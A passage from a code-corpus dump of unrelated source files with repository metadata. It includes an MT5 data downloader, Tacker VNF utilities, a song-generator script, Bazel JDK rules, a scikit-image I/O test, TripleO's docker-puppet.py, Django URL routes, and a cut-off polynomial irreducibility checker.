买ETH/BNC]利润: {0:.2f}%, {1}".format(pos_anc*100,result)) # # if neg_anc < 0.01: # result = "利润空间小于1%, 放弃本次套利 0" # else: # result = "利润空间大于1%, 执行本次套利 1" # # logger.info("预期本次[反向套利:卖ETH/BNC -> 买BIG/BNC -> 卖BIG/ETH]利润: {0:.2f}%, {1}".format(neg_anc*100,result)) # # print("休眠10秒") # print("") # time.sleep(10)

bcf9bd066aefdc4f6abca126693e2677662eb927

py

Python

histdata/mt5db/script_DownloadAndStoreToMongodb.py

UpSea/midProjects

ed6086e74f68b1b89f725abe0b270e67cf8993a8

2018-07-02T13:54:49.000Z

2018-07-02T13:54:49.000Z

histdata/mt5db/script_DownloadAndStoreToMongodb.py

UpSea/midProjects

ed6086e74f68b1b89f725abe0b270e67cf8993a8

histdata/mt5db/script_DownloadAndStoreToMongodb.py

UpSea/midProjects

ed6086e74f68b1b89f725abe0b270e67cf8993a8

2016-05-28T15:13:02.000Z

2021-04-10T06:04:25.000Z

# -*- coding: utf-8 -*- import os,sys from PyQt4 import QtGui,QtCore dataRoot = os.path.abspath(os.path.join(os.path.dirname(__file__),os.pardir,os.pardir,'histdata')) sys.path.append(dataRoot) import dataCenter as dataCenter from data.mongodb.DataSourceMongodb import Mongodb import datetime as dt def getSymbols(): #mid 1)从excel赋值粘贴获得如下数据 codesStr = """ XAGUSD """ #mid 2)将字符串使用split()分割为list，默认会去除\n和所有空格。 #codeList = ['000021.SZ','000022.SZ'] codeList = [code.split('.')[0] for code in codesStr.split()] return codeList def subMain(): DC = dataCenter.dataCenter() remoteDataSourceType = 'mt5' localStorageType = 'mongodb' periodType = 'D' timeStart = dt.datetime(2000,10,20) timeEnd = dt.datetime.now() # 1)get codes form eastmoney codeList = getSymbols() # 2)download history data dataDict = DC.downloadHistData(providerType=remoteDataSourceType,storageType=localStorageType,periodType=periodType, codeList=codeList,timeFrom = timeStart,timeTo = timeEnd) if __name__ == '__main__': #app = QtGui.QApplication(sys.argv) #mid----------------------------------------------------------------------------------------------------------------------------- subMain() #mid----------------------------------------------------------------------------------------------------------------------------- #sys.exit(app.exec_())

bcfb7330e40f9b79f2ab184f143d401951828548

py

Python

tacker/sol_refactored/common/vnf_instance_utils.py

h1r0mu/tacker

8c69dda51fcfe215c4878a86b82018d2b96e5561

2015-10-18T02:57:08.000Z

2022-03-15T04:09:18.000Z

tacker/sol_refactored/common/vnf_instance_utils.py

h1r0mu/tacker

8c69dda51fcfe215c4878a86b82018d2b96e5561

2016-11-07T22:15:54.000Z

2021-05-09T06:13:08.000Z

tacker/sol_refactored/common/vnf_instance_utils.py

h1r0mu/tacker

8c69dda51fcfe215c4878a86b82018d2b96e5561

2015-10-20T15:31:52.000Z

2021-11-12T08:39:49.000Z

# Copyright (C) 2021 Nippon Telegraph and Telephone Corporation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_log import log as logging from tacker.sol_refactored.common import exceptions as sol_ex from tacker.sol_refactored import objects LOG = logging.getLogger(__name__) # not used at the moment def get_inst(context, inst_id): inst = objects.VnfInstanceV2.get_by_id(context, inst_id) if inst is None: raise sol_ex.VnfInstanceNotFound(inst_id=inst_id) return inst def get_inst_all(context): return objects.VnfInstanceV2.get_all(context) def inst_href(inst_id, endpoint): return "{}/v2/vnflcm/vnf_instances/{}".format(endpoint, inst_id) def make_inst_links(inst, endpoint): links = objects.VnfInstanceV2_Links() self_href = inst_href(inst.id, endpoint) links.self = objects.Link(href=self_href) if inst.instantiationState == 'NOT_INSTANTIATED': links.instantiate = objects.Link(href=self_href + "/instantiate") else: # 'INSTANTIATED' links.terminate = objects.Link(href=self_href + "/terminate") # TODO(oda-g): add when the operation supported # links.scale = objects.Link(href = self_href + "/scale") # etc. return links # see IETF RFC 7396 def json_merge_patch(target, patch): if isinstance(patch, dict): if not isinstance(target, dict): target = {} for key, value in patch.items(): if value is None: if key in target: del target[key] else: target[key] = json_merge_patch(target.get(key), value) return target else: return patch def select_vim_info(vim_connection_info): # NOTE: It is assumed that vimConnectionInfo has only one item # at the moment. If there are multiple items, it is uncertain # which item is selected. for vim_info in vim_connection_info.values(): return vim_info

4c040273405e24f9a3249bb42b05984c6988f41a

py

Python

Wheels.py

edhosken/WheelsSong

cb988c8510a1095eeec3a2399b0fc0ba24bfa648

Wheels.py

edhosken/WheelsSong

cb988c8510a1095eeec3a2399b0fc0ba24bfa648

Wheels.py

edhosken/WheelsSong

cb988c8510a1095eeec3a2399b0fc0ba24bfa648

#Create the pre-defined song values and empty variables...Correct names not used so each starting letter would be unique numbers = (1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 ,17 ,18 ) letters = ['a ','b ','c ','d ','e ','f ','g ','h ','i ','j ','k ','l ','m ','n ','o ','p ','q ','r '] roman = ['I ', 'II ', 'III ', 'IV ', 'V ', 'VI ', 'VII ', 'VIII ', 'IX ', 'X ', 'XI ', 'XII ', 'XIII ', 'XIV ', 'XV ', 'XVI ', 'XVII ', 'XVIII'] military = ['alpha ', 'bravo ', 'charlie ', 'delta ', 'echo ', 'foxtrot ', 'golf ', 'hotel ', 'india ', 'juliet ', 'kilo ', 'lima ', 'mike ', 'november ', 'oscar ', 'papa ', 'quebec ', 'romeo '] german = ['eins', 'zwei', 'drei', 'vier', 'fünf', 'sechs', 'sieben', 'acht', 'neun', 'zehn', 'elf', 'zwölf', 'dreizehn', 'vierzehn', 'fünfzehn', 'sechzehn', 'siebzehn', 'achtzehn'] pi = ['3 ','point ','1 ','4 ','1 ','5 ','9 ','2 ','6 ','5 ','3 ','5 ','8 ','9 ','7 ','9 ','3 ','2 '] ##Build morse code sequences t = 'dot' s = 'dash' m1 = t, s, s, s, s m2 = t, t, s, s, s m3 = t, t, t, s, s m4 = t, t, t, t, s m5 = t, t, t, t, t m6 = s, t, t, t, t m7 = s, s, t, t, t m8 = s, s, s, t, t m9 = s, s, s, s, t m0 = s, s, s, s, s code = [m1, m2, m3, m4, m5, m6, m7, m8, m9, m1 + m0, m1 + m1, m1 + m2, m1 + m3, m1 + m4, m1 + m5, m1 + m6, m1 + m7, m1 + m8] ##Other ideas: piglatin, japanese, spanish, prime, tau, e, ... ##NEED TO ADD INVALID ENTRY CATCHES print("Hello, let's sing a song that everybody loves!\n") sing = 'y' while sing == 'y': user = [] variation = input ("Please input what variation you wish to perform be entering 'numbers', 'letters', 'roman', 'military', 'pi', 'german', 'code', or 'user' to make your own song: \n").lower().strip() ##Seeming silly switching of strings to list types if variation == "numbers" or variation == "n": variation = numbers elif variation == "letters" or variation == "l": variation = letters elif variation == "roman" or variation == "r": variation = roman elif variation == "military" or variation == "m": variation = military elif variation == "pi" or variation == "p": variation = pi elif variation == "german" or variation == "g": variation = german elif variation == "code" or variation == "c": variation = code elif variation == "user" or variation == "u": while len(user) < 18: user.append(input ("Enter a word: ")) #User input to select the song pattern pattern = input ("\nNow please tell me what pattern to use by entering 'forward', 'backward', 'even', or 'odd':\n") print ("\nHere we go: \n\n") #Asemble the song...IMPROVE FORMAT SO OUTPUT IS EASIER TO READ song1 = "Oh, there are " song2 = " wheels on a big rig truck!" a = song1, variation[::], song2 b = song1, variation[::-1], song2 c = song1, variation[::2], song2 d = song1, variation[1::2], song2 ##Use pattern.startswith()?...Also, might be better to seperate forward/backward and even/odd choices. if pattern == 'forward' or pattern == 'f': print (a) elif pattern == 'backward' or pattern == 'b': print (b) elif pattern == 'odd' or pattern == 'o': print (c) elif pattern == 'even' or pattern == 'e': print (d) sing = input('\n\nWould you like to sing it again? (y/n) ').lower() ## This is the end of the while loop else: print ("\nOK, Goodbye!")

4c0a433f8f2a1c5fe05d98092959a53a97b1beea

bzl

Python

tools/jdk/local_java_repository.bzl

loongarch64/bazel

44c30aceec076a0c25f506508704df0b9aeb6578

2015-09-01T19:57:15.000Z

2022-03-31T23:54:00.000Z

tools/jdk/local_java_repository.bzl

loongarch64/bazel

44c30aceec076a0c25f506508704df0b9aeb6578

2015-09-01T09:06:01.000Z

2022-03-31T22:26:20.000Z

tools/jdk/local_java_repository.bzl

loongarch64/bazel

44c30aceec076a0c25f506508704df0b9aeb6578

2015-09-02T19:20:01.000Z

2022-03-31T17:06:14.000Z

# Copyright 2020 The Bazel Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Rules for importing and registering a local JDK.""" load(":default_java_toolchain.bzl", "JVM8_TOOLCHAIN_CONFIGURATION", "default_java_toolchain") def _detect_java_version(repository_ctx, java_bin): properties_out = repository_ctx.execute([java_bin, "-XshowSettings:properties"]).stderr # This returns an indented list of properties separated with newlines: # " java.vendor.url.bug = ... \n" # " java.version = 11.0.8\n" # " java.version.date = 2020-11-05\" strip_properties = [property.strip() for property in properties_out.splitlines()] version_property = [property for property in strip_properties if property.startswith("java.version = ")] if len(version_property) != 1: return None version_value = version_property[0][len("java.version = "):] parts = version_value.split(".") major = parts[0] if len(parts) == 1: return major elif major == "1": # handles versions below 1.8 minor = parts[1] return minor return major def local_java_runtime(name, java_home, version, runtime_name = None, visibility = ["//visibility:public"]): """Defines a java_runtime target together with Java runtime and compile toolchain definitions. Java runtime toolchain is constrained by flag --java_runtime_version having value set to either name or version argument. Java compile toolchains are created for --java_language_version flags values between 8 and version (inclusive). Java compile toolchains use the same (local) JDK for compilation. This requires a different configuration for JDK8 than the newer versions. Args: name: name of the target. java_home: Path to the JDK. version: Version of the JDK. runtime_name: name of java_runtime target if it already exists. visibility: Visibility that will be applied to the java runtime target """ if runtime_name == None: runtime_name = name native.java_runtime( name = runtime_name, java_home = java_home, visibility = visibility, ) native.config_setting( name = name + "_name_setting", values = {"java_runtime_version": name}, visibility = ["//visibility:private"], ) native.config_setting( name = name + "_version_setting", values = {"java_runtime_version": version}, visibility = ["//visibility:private"], ) native.config_setting( name = name + "_name_version_setting", values = {"java_runtime_version": name + "_" + version}, visibility = ["//visibility:private"], ) native.alias( name = name + "_settings_alias", actual = select({ name + "_name_setting": name + "_name_setting", name + "_version_setting": name + "_version_setting", "//conditions:default": name + "_name_version_setting", }), visibility = ["//visibility:private"], ) native.toolchain( name = "runtime_toolchain_definition", target_settings = [":%s_settings_alias" % name], toolchain_type = "@bazel_tools//tools/jdk:runtime_toolchain_type", toolchain = runtime_name, ) if version == "8": default_java_toolchain( name = name + "_toolchain_java8", configuration = JVM8_TOOLCHAIN_CONFIGURATION, source_version = version, target_version = version, java_runtime = runtime_name, ) elif type(version) == type("") and version.isdigit() and int(version) > 8: for version in range(8, int(version) + 1): default_java_toolchain( name = name + "_toolchain_java" + str(version), source_version = str(version), target_version = str(version), java_runtime = runtime_name, ) # else version is not recognized and no compilation toolchains are predefined def _local_java_repository_impl(repository_ctx): """Repository rule local_java_repository implementation. Args: repository_ctx: repository context """ java_home = repository_ctx.attr.java_home java_home_path = repository_ctx.path(java_home) if not java_home_path.exists: fail('The path indicated by the "java_home" attribute "%s" (absolute: "%s") ' + "does not exist." % (java_home, str(java_home_path))) repository_ctx.file( "WORKSPACE", "# DO NOT EDIT: automatically generated WORKSPACE file for local_java_repository\n" + "workspace(name = \"{name}\")\n".format(name = repository_ctx.name), ) extension = ".exe" if repository_ctx.os.name.lower().find("windows") != -1 else "" java_bin = java_home_path.get_child("bin").get_child("java" + extension) if not java_bin.exists: # Java binary does not exist repository_ctx.file( "BUILD.bazel", _NOJDK_BUILD_TPL.format( local_jdk = repository_ctx.name, java_binary = "bin/java" + extension, java_home = java_home, ), False, ) return # Detect version version = repository_ctx.attr.version if repository_ctx.attr.version != "" else _detect_java_version(repository_ctx, java_bin) # Prepare BUILD file using "local_java_runtime" macro build_file = "" if repository_ctx.attr.build_file != None: build_file = repository_ctx.read(repository_ctx.path(repository_ctx.attr.build_file)) runtime_name = '"jdk"' if repository_ctx.attr.build_file else None local_java_runtime_macro = """ local_java_runtime( name = "%s", runtime_name = %s, java_home = "%s", version = "%s", ) """ % (repository_ctx.name, runtime_name, java_home, version) repository_ctx.file( "BUILD.bazel", 'load("@bazel_tools//tools/jdk:local_java_repository.bzl", "local_java_runtime")\n' + build_file + local_java_runtime_macro, ) # Symlink all files for file in repository_ctx.path(java_home).readdir(): repository_ctx.symlink(file, file.basename) # Build file template, when JDK does not exist _NOJDK_BUILD_TPL = '''load("@bazel_tools//tools/jdk:fail_rule.bzl", "fail_rule") fail_rule( name = "jdk", header = "Auto-Configuration Error:", message = ("Cannot find Java binary {java_binary} in {java_home}; either correct your JAVA_HOME, " + "PATH or specify Java from remote repository (e.g. " + "--java_runtime_version=remotejdk_11") ) config_setting( name = "localjdk_setting", values = {{"java_runtime_version": "{local_jdk}"}}, visibility = ["//visibility:private"], ) toolchain( name = "runtime_toolchain_definition", target_settings = [":localjdk_setting"], toolchain_type = "@bazel_tools//tools/jdk:runtime_toolchain_type", toolchain = ":jdk", ) ''' _local_java_repository_rule = repository_rule( implementation = _local_java_repository_impl, local = True, configure = True, attrs = { "java_home": attr.string(), "version": attr.string(), "build_file": attr.label(), }, ) def local_java_repository(name, java_home, version = "", build_file = None): """Registers a runtime toolchain for local JDK and creates an unregistered compile toolchain. Toolchain resolution is constrained with --java_runtime_version flag having value of the "name" or "version" parameter. Java compile toolchains are created for --java_language_version flags values between 8 and version (inclusive). Java compile toolchains use the same (local) JDK for compilation. If there is no JDK "virtual" targets are created, which fail only when actually needed. Args: name: A unique name for this rule. java_home: Location of the JDK imported. build_file: optionally BUILD file template version: optionally java version """ _local_java_repository_rule(name = name, java_home = java_home, version = version, build_file = build_file) native.register_toolchains("@" + name + "//:runtime_toolchain_definition")

4c131d63691e04e79320d304f39d4fe881bda148

py

Python

site-packages/skimage/io/tests/test_io.py

oz90210/Pyto

59f185149b71e57e5debeb1c9a61a28739e81720

site-packages/skimage/io/tests/test_io.py

oz90210/Pyto

59f185149b71e57e5debeb1c9a61a28739e81720

2020-04-25T20:36:07.000Z

2020-04-25T20:36:07.000Z

site-packages/skimage/io/tests/test_io.py

Wristlebane/Pyto

901ac307b68486d8289105c159ca702318bea5b0

import os import numpy as np from skimage import io, data_dir from skimage._shared import testing from skimage._shared.testing import assert_array_equal one_by_one_jpeg = ( b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01' b'\x00\x01\x00\x00\xff\xdb\x00C\x00\x03\x02\x02\x02\x02' b'\x02\x03\x02\x02\x02\x03\x03\x03\x03\x04\x06\x04\x04' b'\x04\x04\x04\x08\x06\x06\x05\x06\t\x08\n\n\t\x08\t\t' b'\n\x0c\x0f\x0c\n\x0b\x0e\x0b\t\t\r\x11\r\x0e\x0f\x10' b'\x10\x11\x10\n\x0c\x12\x13\x12\x10\x13\x0f\x10\x10' b'\x10\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11' b'\x00\xff\xc4\x00\x14\x00\x01\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\xff\xc4\x00' b'\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00' b'\x00?\x00*\x9f\xff\xd9' ) def test_stack_basic(): x = np.arange(12).reshape(3, 4) io.push(x) assert_array_equal(io.pop(), x) def test_stack_non_array(): with testing.raises(ValueError): io.push([[1, 2, 3]]) def test_imread_file_url(): # tweak data path so that file URI works on both unix and windows. data_path = data_dir.lstrip(os.path.sep) data_path = data_path.replace(os.path.sep, '/') image_url = 'file:///{0}/camera.png'.format(data_path) image = io.imread(image_url) assert image.shape == (512, 512) def test_imread_http_url(httpserver): # httpserver is a fixture provided by pytest-localserver # https://bitbucket.org/pytest-dev/pytest-localserver/ httpserver.serve_content(one_by_one_jpeg) # it will serve anything you provide to it on its url. # we add a /test.jpg so that we can identify the content # by extension image = io.imread(httpserver.url + '/test.jpg' + '?' + 's' * 266) assert image.shape == (1, 1)

4c193e499f0f1632e4dcf16c607003de7e5c3eaa

py

Python

docker/docker-puppet.py

mail2nsrajesh/tripleo-heat-templates

368b3eadda577f9914d181893df2df96367e8fad

docker/docker-puppet.py

mail2nsrajesh/tripleo-heat-templates

368b3eadda577f9914d181893df2df96367e8fad

docker/docker-puppet.py

mail2nsrajesh/tripleo-heat-templates

368b3eadda577f9914d181893df2df96367e8fad

#!/usr/bin/env python # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # Shell script tool to run puppet inside of the given docker container image. # Uses the config file at /var/lib/docker-puppet/docker-puppet.json as a source for a JSON # array of [config_volume, puppet_tags, manifest, config_image, [volumes]] settings # that can be used to generate config files or run ad-hoc puppet modules # inside of a container. import glob import json import logging import os import sys import subprocess import sys import tempfile import multiprocessing log = logging.getLogger() ch = logging.StreamHandler(sys.stdout) if os.environ.get('DEBUG', False): log.setLevel(logging.DEBUG) ch.setLevel(logging.DEBUG) else: log.setLevel(logging.INFO) ch.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s %(levelname)s: %(message)s') ch.setFormatter(formatter) log.addHandler(ch) # this is to match what we do in deployed-server def short_hostname(): subproc = subprocess.Popen(['hostname', '-s'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) cmd_stdout, cmd_stderr = subproc.communicate() return cmd_stdout.rstrip() def pull_image(name): log.info('Pulling image: %s' % name) subproc = subprocess.Popen(['/usr/bin/docker', 'pull', name], stdout=subprocess.PIPE, stderr=subprocess.PIPE) cmd_stdout, cmd_stderr = subproc.communicate() if cmd_stdout: log.debug(cmd_stdout) if cmd_stderr: log.debug(cmd_stderr) def match_config_volume(prefix, config): # Match the mounted config volume - we can't just use the # key as e.g "novacomute" consumes config-data/nova volumes = config.get('volumes', []) config_volume=None for v in volumes: if v.startswith(prefix): config_volume = os.path.relpath( v.split(":")[0], prefix).split("/")[0] break return config_volume def get_config_hash(prefix, config_volume): hashfile = os.path.join(prefix, "%s.md5sum" % config_volume) hash_data = None if os.path.isfile(hashfile): with open(hashfile) as f: hash_data = f.read().rstrip() return hash_data def rm_container(name): if os.environ.get('SHOW_DIFF', None): log.info('Diffing container: %s' % name) subproc = subprocess.Popen(['/usr/bin/docker', 'diff', name], stdout=subprocess.PIPE, stderr=subprocess.PIPE) cmd_stdout, cmd_stderr = subproc.communicate() if cmd_stdout: log.debug(cmd_stdout) if cmd_stderr: log.debug(cmd_stderr) log.info('Removing container: %s' % name) subproc = subprocess.Popen(['/usr/bin/docker', 'rm', name], stdout=subprocess.PIPE, stderr=subprocess.PIPE) cmd_stdout, cmd_stderr = subproc.communicate() if cmd_stdout: log.debug(cmd_stdout) if cmd_stderr and \ cmd_stderr != 'Error response from daemon: ' \ 'No such container: {}\n'.format(name): log.debug(cmd_stderr) process_count = int(os.environ.get('PROCESS_COUNT', multiprocessing.cpu_count())) log.info('Running docker-puppet') config_file = os.environ.get('CONFIG', '/var/lib/docker-puppet/docker-puppet.json') log.debug('CONFIG: %s' % config_file) with open(config_file) as f: json_data = json.load(f) # To save time we support configuring 'shared' services at the same # time. For example configuring all of the heat services # in a single container pass makes sense and will save some time. # To support this we merge shared settings together here. # # We key off of config_volume as this should be the same for a # given group of services. We are also now specifying the container # in which the services should be configured. This should match # in all instances where the volume name is also the same. configs = {} for service in (json_data or []): if service is None: continue if isinstance(service, dict): service = [ service.get('config_volume'), service.get('puppet_tags'), service.get('step_config'), service.get('config_image'), service.get('volumes', []), ] config_volume = service[0] or '' puppet_tags = service[1] or '' manifest = service[2] or '' config_image = service[3] or '' volumes = service[4] if len(service) > 4 else [] if not manifest or not config_image: continue log.info('config_volume %s' % config_volume) log.info('puppet_tags %s' % puppet_tags) log.info('manifest %s' % manifest) log.info('config_image %s' % config_image) log.info('volumes %s' % volumes) # We key off of config volume for all configs. if config_volume in configs: # Append puppet tags and manifest. log.info("Existing service, appending puppet tags and manifest") if puppet_tags: configs[config_volume][1] = '%s,%s' % (configs[config_volume][1], puppet_tags) if manifest: configs[config_volume][2] = '%s\n%s' % (configs[config_volume][2], manifest) if configs[config_volume][3] != config_image: log.warn("Config containers do not match even though" " shared volumes are the same!") else: log.info("Adding new service") configs[config_volume] = service log.info('Service compilation completed.') def mp_puppet_config((config_volume, puppet_tags, manifest, config_image, volumes)): log.debug('config_volume %s' % config_volume) log.debug('puppet_tags %s' % puppet_tags) log.debug('manifest %s' % manifest) log.debug('config_image %s' % config_image) log.debug('volumes %s' % volumes) sh_script = '/var/lib/docker-puppet/docker-puppet.sh' with open(sh_script, 'w') as script_file: os.chmod(script_file.name, 0755) script_file.write("""#!/bin/bash set -ex mkdir -p /etc/puppet cp -a /tmp/puppet-etc/* /etc/puppet rm -Rf /etc/puppet/ssl # not in use and causes permission errors echo "{\\"step\\": $STEP}" > /etc/puppet/hieradata/docker.json TAGS="" if [ -n "$PUPPET_TAGS" ]; then TAGS="--tags \"$PUPPET_TAGS\"" fi # workaround LP1696283 mkdir -p /etc/ssh touch /etc/ssh/ssh_known_hosts FACTER_hostname=$HOSTNAME FACTER_uuid=docker /usr/bin/puppet apply --verbose $TAGS /etc/config.pp # Disables archiving if [ -z "$NO_ARCHIVE" ]; then archivedirs=("/etc" "/root" "/var/lib/ironic/tftpboot" "/var/lib/ironic/httpboot" "/var/www") rsync_srcs="" for d in "${archivedirs[@]}"; do if [ -d "$d" ]; then rsync_srcs+=" $d" fi done rsync -a -R --delay-updates --delete-after $rsync_srcs /var/lib/config-data/${NAME} # Also make a copy of files modified during puppet run # This is useful for debugging mkdir -p /var/lib/config-data/puppet-generated/${NAME} rsync -a -R -0 --delay-updates --delete-after \ --files-from=<(find $rsync_srcs -newer /etc/ssh/ssh_known_hosts -print0) \ / /var/lib/config-data/puppet-generated/${NAME} # Write a checksum of the config-data dir, this is used as a # salt to trigger container restart when the config changes tar -c -f - /var/lib/config-data/${NAME} --mtime='1970-01-01' | md5sum | awk '{print $1}' > /var/lib/config-data/${NAME}.md5sum fi """) with tempfile.NamedTemporaryFile() as tmp_man: with open(tmp_man.name, 'w') as man_file: man_file.write('include ::tripleo::packages\n') man_file.write(manifest) rm_container('docker-puppet-%s' % config_volume) pull_image(config_image) dcmd = ['/usr/bin/docker', 'run', '--user', 'root', '--name', 'docker-puppet-%s' % config_volume, '--env', 'PUPPET_TAGS=%s' % puppet_tags, '--env', 'NAME=%s' % config_volume, '--env', 'HOSTNAME=%s' % short_hostname(), '--env', 'NO_ARCHIVE=%s' % os.environ.get('NO_ARCHIVE', ''), '--env', 'STEP=%s' % os.environ.get('STEP', '6'), '--volume', '%s:/etc/config.pp:ro' % tmp_man.name, '--volume', '/etc/puppet/:/tmp/puppet-etc/:ro', '--volume', '/usr/share/openstack-puppet/modules/:/usr/share/openstack-puppet/modules/:ro', '--volume', '/var/lib/config-data/:/var/lib/config-data/:rw', '--volume', 'tripleo_logs:/var/log/tripleo/', # OpenSSL trusted CA injection '--volume', '/etc/pki/ca-trust/extracted:/etc/pki/ca-trust/extracted:ro', '--volume', '/etc/pki/tls/certs/ca-bundle.crt:/etc/pki/tls/certs/ca-bundle.crt:ro', '--volume', '/etc/pki/tls/certs/ca-bundle.trust.crt:/etc/pki/tls/certs/ca-bundle.trust.crt:ro', '--volume', '/etc/pki/tls/cert.pem:/etc/pki/tls/cert.pem:ro', # script injection '--volume', '%s:%s:rw' % (sh_script, sh_script) ] for volume in volumes: if volume: dcmd.extend(['--volume', volume]) dcmd.extend(['--entrypoint', sh_script]) env = {} # NOTE(flaper87): Always copy the DOCKER_* environment variables as # they contain the access data for the docker daemon. for k in filter(lambda k: k.startswith('DOCKER'), os.environ.keys()): env[k] = os.environ.get(k) if os.environ.get('NET_HOST', 'false') == 'true': log.debug('NET_HOST enabled') dcmd.extend(['--net', 'host', '--volume', '/etc/hosts:/etc/hosts:ro']) dcmd.append(config_image) log.debug('Running docker command: %s' % ' '.join(dcmd)) subproc = subprocess.Popen(dcmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) cmd_stdout, cmd_stderr = subproc.communicate() if subproc.returncode != 0: log.error('Failed running docker-puppet.py for %s' % config_volume) if cmd_stdout: log.error(cmd_stdout) if cmd_stderr: log.error(cmd_stderr) else: if cmd_stdout: log.debug(cmd_stdout) if cmd_stderr: log.debug(cmd_stderr) # only delete successful runs, for debugging rm_container('docker-puppet-%s' % config_volume) return subproc.returncode # Holds all the information for each process to consume. # Instead of starting them all linearly we run them using a process # pool. This creates a list of arguments for the above function # to consume. process_map = [] for config_volume in configs: service = configs[config_volume] puppet_tags = service[1] or '' manifest = service[2] or '' config_image = service[3] or '' volumes = service[4] if len(service) > 4 else [] if puppet_tags: puppet_tags = "file,file_line,concat,augeas,%s" % puppet_tags else: puppet_tags = "file,file_line,concat,augeas" process_map.append([config_volume, puppet_tags, manifest, config_image, volumes]) for p in process_map: log.debug('- %s' % p) # Fire off processes to perform each configuration. Defaults # to the number of CPUs on the system. p = multiprocessing.Pool(process_count) returncodes = list(p.map(mp_puppet_config, process_map)) config_volumes = [pm[0] for pm in process_map] success = True for returncode, config_volume in zip(returncodes, config_volumes): if returncode != 0: log.error('ERROR configuring %s' % config_volume) success = False # Update the startup configs with the config hash we generated above config_volume_prefix = os.environ.get('CONFIG_VOLUME_PREFIX', '/var/lib/config-data') log.debug('CONFIG_VOLUME_PREFIX: %s' % config_volume_prefix) startup_configs = os.environ.get('STARTUP_CONFIG_PATTERN', '/var/lib/tripleo-config/docker-container-startup-config-step_*.json') log.debug('STARTUP_CONFIG_PATTERN: %s' % startup_configs) infiles = glob.glob('/var/lib/tripleo-config/docker-container-startup-config-step_*.json') for infile in infiles: with open(infile) as f: infile_data = json.load(f) for k, v in infile_data.iteritems(): config_volume = match_config_volume(config_volume_prefix, v) if config_volume: config_hash = get_config_hash(config_volume_prefix, config_volume) if config_hash: env = v.get('environment', []) env.append("TRIPLEO_CONFIG_HASH=%s" % config_hash) log.debug("Updating config hash for %s, config_volume=%s hash=%s" % (k, config_volume, config_hash)) infile_data[k]['environment'] = env outfile = os.path.join(os.path.dirname(infile), "hashed-" + os.path.basename(infile)) with open(outfile, 'w') as out_f: json.dump(infile_data, out_f) if not success: sys.exit(1)

4c237eab0c099d5c3321cd95e513399431effe30

py

Python

TransitPass/urls.py

Savior-19/Savior19

b80c05a19ebadf73c3d88656b7c34b761cb02f3c

TransitPass/urls.py

Savior-19/Savior19

b80c05a19ebadf73c3d88656b7c34b761cb02f3c

TransitPass/urls.py

Savior-19/Savior19

b80c05a19ebadf73c3d88656b7c34b761cb02f3c

2020-05-27T10:02:31.000Z

2021-07-11T08:14:20.000Z

from django.urls import path from . import views urlpatterns = [ path('apply/', views.FillPassApplication, name='transit-pass-application-form'), path('application-details/<int:appln_id>', views.DisplayApplicationToken, name='application-details'), path('view-application-list/', views.DisplayApplicationList, name='view-application-list'), path('view-application/<int:appln_id>/', views.DisplayIndividualApplication, name='view-individual-application'), path('check-application-status/', views.CheckApplicationStatus, name='check-application-status'), path('check-pass-validity/', views.CheckPassValidity, name='check-pass-validity'), ]

4c308137f6fcaffcc096aaa674f08780ed2a8ef7

py

Python

additions/irreducible_check.py

kluhan/seraphim

412b693effb15f80d348d6d885d7c781774bb8aa

additions/irreducible_check.py

kluhan/seraphim

412b693effb15f80d348d6d885d7c781774bb8aa

additions/irreducible_check.py

kluhan/seraphim

412b693effb15f80d348d6d885d7c781774bb8aa

""" Irreduzibilitätskriterien Implementiert wurden das Eisenstein- und das Perronkriterium Quellen: https://rms.unibuc.ro/bulletin/pdf/53-3/perron.pdf http://math-www.uni-paderborn.de/~chris/Index33/V/par5.pdf Übergeben werden Polynome vom Typ Polynomial, keine direkten Listen von Koeffizienten """ import logging import helper import itertools def factor(n): # Faktorisierung einer Zahl n i = 0 factors = [] for i in range(1, n + 1): if n % i == 0: factors.append(i) return factors def prime_factor(n): # Primfaktorzerlegung einer Zahl n i = 2 factors = [] while i * i <= n: if n % i: i += 1 else: n //= i factors.append(i) if n > 1: factors.append(n) return factors # rekursive Implementierung von HCF def hcf(x, y): """Highest common factor""" if y == 0: return x else: return hcf(y, x % y) def is_polynomial_coprime(polynomial): """Überprüft, ob ein Polynom teilerfremd (coprime) ist""" non_zero_polynomial = [ i for i in polynomial.coefficients if i != 0 ] # Nullen würden Ergebnis von HCF verfälschen if polynomial.degree() == 0: return True for x, y in itertools.combinations(non_zero_polynomial, 2): if hcf(x, y) != 1: return False return True # Quelle: https://rms.unibuc.ro/bulletin/pdf/53-3/perron.pdf def is_irreducible_perron(polynomial): """ Prüft ein Polynom auf Irreduzierbarkeit (Perron). Führender Koeffizient != 1 funktioniert nicht. Keine Aussage möglich, wenn vorletzer Koeffizient kleiner ist als die absolute Summe der restlichen Koeffizienten """ if polynomial.degree() < 0: return logging.error("Polynom ungültig") const_coefficient = polynomial.coefficients[0] if 